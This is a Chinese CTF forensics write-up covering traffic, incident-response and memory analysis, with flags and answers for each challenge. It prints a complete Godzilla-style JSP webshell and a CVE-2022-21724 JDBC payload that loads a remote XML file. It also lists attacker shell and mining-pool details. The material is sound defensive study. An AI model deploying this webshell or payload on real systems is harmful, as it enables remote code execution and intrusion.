以前打的比賽寫的WP
,整理了一下,純個人理解,WP
和附件自取,若有幫助,記得點贊和關注哈:)
hard_web
題目附件:hard_web_99af7443957c71d3961b3e3cc6045f46.zip
- 伺服器開放了哪些埠,請按照埠大小順序提交答案,並以英文逗號隔開(如伺服器開放了80 81 82 83埠,則答案為80,81,82,83)
首先確定伺服器和客戶端的IP
確定是伺服器是192.168.162.180
客戶端為192.168.162.188
,開放埠的話會完成tcp
三次握手協議
所以如果成功建立連線的話,伺服器會傳送一個synack
欄位
ip.dst == 192.168.162.188 and tcp.connection.synack
所以可以確定開放的埠是80,888,8888
- 伺服器中根目錄下的flag值是多少
首先過濾HTTP
協議
可以看到shell.jsp
,初步判斷是某種webshell
然後這裡還列出了webshell
的內容
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
基本就是哥斯拉的webshell
,解密的話網上找一個指令碼或者使用大廚即可
直接看最後一個請求和響應
請求
響應
最後的flag
為flag{9236b29d-5488-41e6-a04b-53b0d8276542}
- 該webshell的連線密碼是多少
倒數第五個請求解密之後可以看到
檢視響應
然後md5
解密748007e861908c03
得到,或者寫指令碼爆破MD5
也行
看看MD5
加密
應該是去了前幾位作為金鑰
所以連線密碼是14mk3y
參考:
- https://blog.csdn.net/weixin_52365980/article/details/131505481
Wireshark1
題目附件:wireshark1_dc337306e02806e9e11e650c515bd774.zip
- 被入侵主機的IP是?
分析發現入侵協議是telnet
,應該是從哪裡知道了賬號密碼之後直接遠端連線23
埠了
看內容就知道被入侵主機的IP是192.168.246.28
- 被入侵主機的口令是?
直接追蹤流即可
口令是youcannevergetthis
- 使用者目錄下第二個資料夾的名稱是?
同樣直接追蹤流即可
第二個資料夾的名稱是Downloads
- /etc/passwd中倒數第二個使用者的使用者名稱是?
同樣直接追蹤流即可
倒數第二個使用者的使用者名稱是mysql
SmallSword
題目附件:SmallSword_f0255d257b71afd3affd813cf362f025.zip
- 連線蟻劍的正確密碼是______________?
分析流量可以看到
這邊透過sql
聯合注入寫了兩個webshell
進去
這邊連線蟻劍的密碼都是6ea280898e404bfabd0ebb702327b18f
但是連線利用的時候又變成了
6ea280898e404bfabd0ebb702327b19f
後續還有
一堆疑惑行為,存在多次傳參命令執行
最後嘗試真正的密碼是6ea280898e404bfabd0ebb702327b19f
- 攻擊者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
存留的值大機率是寫入的,分析流量發現最後滴幾個流量在寫入資訊
明顯執行檔案流,然後字串可以base64
解密,一一解密得到
最後第三個利用webshell
的流
向hacker.txt
中寫入了ad6269b7-3ce2-4ae8-b97f-f259515e7a91
,即為留存的值
然後倒數第二個
這不是火絨嗎,難道是在hack
火絨!!!,不過好像是類似一個入侵偽裝吧,木馬檔案改名以及修改時間戳。
- 攻擊者下載到的flag是______________?(答案示例:flag3{uuid})
分析info1.php
這個webshell
沒發現下載相關命令,可能有其他的webshel
這個引數v
似乎也能進行命令執行,但是無法解密命令
追蹤流
在隨後的130
和137
流中發現
明顯是exe
檔案,我猜測是下載了名為火絨的exe
直接轉16
進位制搜尋exe
檔案頭
隨後複製一長串用010
轉一下得到
直接執行輸出:圖片儲存成功:
然後在上一層會輸出一張圖片
010
檢視發現是png
,然後修改高度
發現最後的flag
為flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
ez_web
題目附件:ez_web_e82608071ac21070473ff8c37658e265.zip
- 伺服器自帶的後門檔名是什麼?
分析流量包可以發現
有個d00r.php
可以進行命令執行,但是提交不對,於是猜測hacker
就是透過伺服器自帶的後門寫入這個webshell
的
直接查詢d00r.php
發現
這裡透過a
引數利用file_put_contents
函式寫入了檔案
所以後門檔案就是ViewMore.php
- 伺服器的內網IP是多少?
由於這裡利用了d00r.php
的cmd
引數進行命令執行
我們直接應用為列進行檢視,內網IP
的話就重點關注IP
相關命令
檢視回顯
雙網路卡,經過嘗試內網IP
是192.168.101.132
- 攻擊者往伺服器中寫入的key是什麼?
這邊看到
然後嘗試解密
發現是一個zip
,然後有密碼,密碼在
大廚直接解密即可
所以寫入的key是7d9ddff2-2d67-4eba-9e48-b91c26c42337
tcpdump
題目附件:easywiki.zip
- 攻擊者透過暴力破解進入了某Wiki 文件,請給出登入的使用者名稱與密碼,以:拼接,比如admin:admin
可以看到
爆破失敗返回的是300
,那我們查詢200
的
追蹤流得到
所以登入的使用者名稱與密碼為TMjpxFGQwD:123457
- 攻擊者發現軟體存在越權漏洞,請給出攻擊者越權使用的cookie的內容的md5值
檢視cookie
直接把cookie
應用為列,然後過濾人眼檢視
前面是2
後面變1
那麼越權的應該是1
MD5
一下
得到383c74db4e32513daaa1eeb1726d7255
- 攻擊使用jdbc漏洞讀取了應用配置檔案,給出配置中的資料庫賬號密碼,以:拼接,比如root:123456
直接搜尋jdbc
得到如下
配置中的資料庫賬號密碼為springcfg:root
,但是不對,然後一一追蹤流在1600
流發現
所以配置中的資料庫賬號密碼zyplayer:1234567
- 攻擊者又使用了CVE漏洞攻擊應用,執行系統命令,請給出此CVE編號以及遠端EXP的檔名,使用:拼接,比如CVE-2020-19817:exp.so
發現可疑情況
遠端下載
可以看到遠端下載用的是jdbc:postgresql
查詢一下
找到一個CVE-2022-21724
的POC
如下
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
主要利用的是socketFactory
與socketFactoryArg
這兩個引數
可以看到幾乎一樣
得到CVE-2022-21724:custom.dtd.xml
- 給出攻擊者獲取系統許可權後,下載的工具的名稱,比如nmap
同樣一一追蹤流
得到下載的工具名稱fscan_amd64
經過嘗試需要去掉版本資訊
最後為fscan
hacked
題目附件:hacked_9702a13c99753e97b1c04a3aa687bbd4.zip
- admIn使用者的密碼是什麼?
檢視
發現使用者名稱和密碼都是加密的形式,隨後在tcp50
流看到加密方式
AES
加密
key
:l36DoqKUYQP0N7e1
IV
:131b0c8a7a6e072e
隨後在57
流看到
檢視56
流並解密
得到admIn使用者的密碼flag{WelC0m5_TO_H3re}
- app.config['SECRET_KEY']值為多少?
嘗試直接搜尋SECRET_KEY
html
解碼
得到SECRET_KEY
的值為ssti_flask_hsfvaldb
- flask網站由哪個使用者啟動?
第76
流解密得到
發現執行了whoami
,但是沒有回顯
但是卻有一個set-cookie
然後解密就得到
可以知道使用者名稱是red
- 攻擊者寫入的記憶體馬的路由名叫什麼?(答案裡不需要加/)
百度一下注入記憶體馬的方法,參考
- https://xz.aliyun.com/t/10933#toc-4
- https://www.anquanke.com/post/id/279160#h3-11
查閱發現是呼叫了add_url_rule
函式來新增路由
然後發現81
流有點奇怪
解密session
和記憶體馬完全符合
所以最後的記憶體馬路徑就是add_url_rule
後面的Index
sevrer save
題目附件:SS.zip
解壓密碼為c77ad47ba4c85fae66f08ec12e0085dd
- 駭客是使用什麼漏洞來拿下root許可權的。格式為:CVE-2020-114514
分析流量
發現可疑字串,百度一下
得到CVE-2022-22965
- 駭客反彈shell的ip和埠是什麼,格式為:10.0.0.1:4444
直接看壓縮包中的檔案系統資訊helloworld
目錄下
![](https://img2024.cnblogs.com/blog/3475197/202410/3475197-20241024000808828-974088635.png
然後看bbbb.sh
或者看流量
得到192.168.43.128:2333
- 駭客的病毒名稱是什麼? 格式為:filename
可以看到使用者主目錄下
有個mian
檔案,同時.idea
中也存在檔案
猜測惡意檔案就是mian
- 駭客的病毒執行後建立了什麼使用者?請將回答使用者名稱與密碼:username:password
直接檢視一下passwd
再看一下shadow
所以使用者名稱與密碼為ll:123456
- 伺服器在被入侵時外網ip是多少? 格式為:10.10.0.1
直接檢視使用者目錄下的.log.txt
得到外網IP
為172.105.202.239
- 病毒執行後釋放了什麼檔案?格式:檔案1,檔案2
就釋放了.idea
下的兩個檔案
答案就是lolMiner,mine_doge.sh
- 礦池地址是什麼? 格式:domain:1234
直接檢視mine_doge.sh
得到礦池地址doge.millpools.cc:5567
- 駭客的錢包地址是多少?格式:xx:xxxxxxxx
同樣
錢包地址為DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9
IncidentResponse
題目附件:太大了,傳不了,一個映象檔案拿來應急響應
解壓密碼為f0b1ba11478343f404666c355919de3f
題目描述
你是公司的一名安全運營工程師,今日接到外部監管部門通報,你公司網路出口存在請求挖礦域名的行為。需要立即整改。經過與網路組配合,你們定位到了請求挖礦域名的內網IP是10.221.36.21。查詢CMDB後得知該IP執行了公司的工時系統。(虛擬機器賬號密碼為:root/IncidentResponsePasswd)
- 挖礦程式所在路徑是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
檢視一下程序資訊
有個redis
看看配置檔案
這裡JSON
格式怪怪的,和常規的配置檔案不太一樣
後面就更加離譜了,還有pools
以及wallet
,經典的xmrig
挖礦病毒,應該個偽造的redis
程式,同時也沒有redis-cli
命令列程式
所以挖礦程式所在的路徑就是/etc/redis/redis-server
最後的答案6f72038a870f05cbf923633066e48881
此外我們還可以用7Z
拿出ova
中的VMDK
磁碟檔案,然後用取證大師或者R-Studio
來恢復我們拿出需要的檔案,這樣會更加方便一點,不過就看不了記憶體中的程序等等資訊了,最好模擬和磁碟同時利用
我們恢復取出其中的redis-server
檢查一下
直接檢測出了xmrig
,一種經典的挖礦病毒
- 挖礦程式連線的礦池域名是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
同樣看配置檔案我們就可以知道礦池地址是donate.v2.xmrig.com
查一下
最後的答案3fca20bb92d0ed67714e68704a0a4503
- 攻擊者入侵伺服器的利用的方法是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
hint
:答案md5值前兩位為3e
由於我們看到該映象執行的web
服務是一個jar
包,那麼大機率透過java
的方式進行利用然後打進來
當前目錄下有日誌,看看日誌
利用檔案恢復
這兩個檔案
反編譯jar
包,在pom
中看到
版本資訊
版本是1.2.4
,這個版本是存在shiro
反序列化漏洞的
網站框架是網上的renren-security
,不過很久沒更新了
看下日誌
基本可以確定是shiro550
,但是怎麼輸入的不對
後面發現英文的可以
最後的答案3ee726cb32f87a15d22fe55fa04c4dcd
- 攻擊者的IP是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
檢視ssh
的日誌
發現存在來自81.70.166.3
的暴力破解痕跡,猜測就是攻擊者的IP
取證大師也能看到
隨後變換格式
所以答案就是c76b4b1a5e8c9e7751af4684c6a8b2c9
- 攻擊者發起攻擊時使用的User-Agent是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
檢視nginx
的日誌
可以看到攻擊者的UA
為Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
變化格式
最後的答案6ba8458f11f4044cce7a621c085bb3c6
- 攻擊者使用了兩種許可權維持手段,相應的配置檔案路徑是?(md5加密後以a開頭)(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
同樣檢視SSH
日誌
可以發現攻擊者暴力破解無果之後,利用公私鑰成功登入了系統,應該是透過某種方式寫入了公鑰,配置檔案路徑一般都是/root/.ssh/authorized_keys
然後看看格式
所以第一種方式就是利用SSH
金鑰進行許可權維持
答案為a1fa1b5aeb1f97340032971c342c4258
- 攻擊者使用了兩種許可權維持手段,相應的配置檔案路徑是?(md5加密後以b開頭)(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
一一檢測常見Linux
下的許可權維持手段
檢視影子賬戶
檢視定時任務
檢視有無敏感啟動任務
發現一個啟動任務的後門用於重複啟動挖礦程式,所以配置檔案的路徑是/lib/systemd/system/redis.service
變換格式
所以最後的答案就是b2c5af8ce08753894540331e5a947d35
baby_forensics
題目附件:BF.zip
解壓密碼為4cf611fce4a2fec305e54c2766b7c860
- 磁碟中的key是多少
直接掛載
發現磁碟用bitlocker
加密了,需要解密
嘗試用EFDD
解密
發現可以
金鑰的16
進位制ed9779c500281407fc821a280115b58fbde944e4e3c925a1f7b0c984eb3a1709
亂碼用不了好像
恢復金鑰
得到恢復金鑰560604-255013-655633-128854-663223-316063-484946-476498
然後利用恢復金鑰解密或者用EFDD
再次掛載一個解密的盤都可以
開啟就能得到key
得到E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d
,作為MISC
手的直覺一眼像是加密的
rot47
解密得到thekeyis2e80307085fd2b5c49c968c323ee25d5
或者不解密磁碟直接去記憶體中取出解密
所以最後的答案就是2e80307085fd2b5c49c968c323ee25d5
- 電腦中正在執行的計算器的執行結果是多少
先取證一下記憶體
然後取出程序映象
然後用Gimp
分析程序記憶體中的點陣圖檔案,具體原理百度
調了一會終於調出來可,最後的引數如下,可能有很多種引數選擇可以得到上圖
此處之外利用如下命令檢視程式視窗控制代碼資訊
然後查詢calc
程式也能找到
所以答案就是7598632541
- 該記憶體檔案中存在的flag值是多少
繼續取證記憶體檔案
有個便籤程式,取出記憶體分析一下
然後同樣用Gimp
分析
能看出有一段字串以U2Fsd
開頭,可能是AES
或者DES rabbit
加密,直接Strings
大法看一下
得到U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp
補充完善得到
U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==
還差一個金鑰,檔案搜尋key/k3y/passwd/
等等資訊,除此之外好像Gimp
繼續翻看記憶體檔案也能得到類似檔案的提示
得到一個這個,匯出檢視一下
猜測是金鑰,AES
解密試試
得到flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}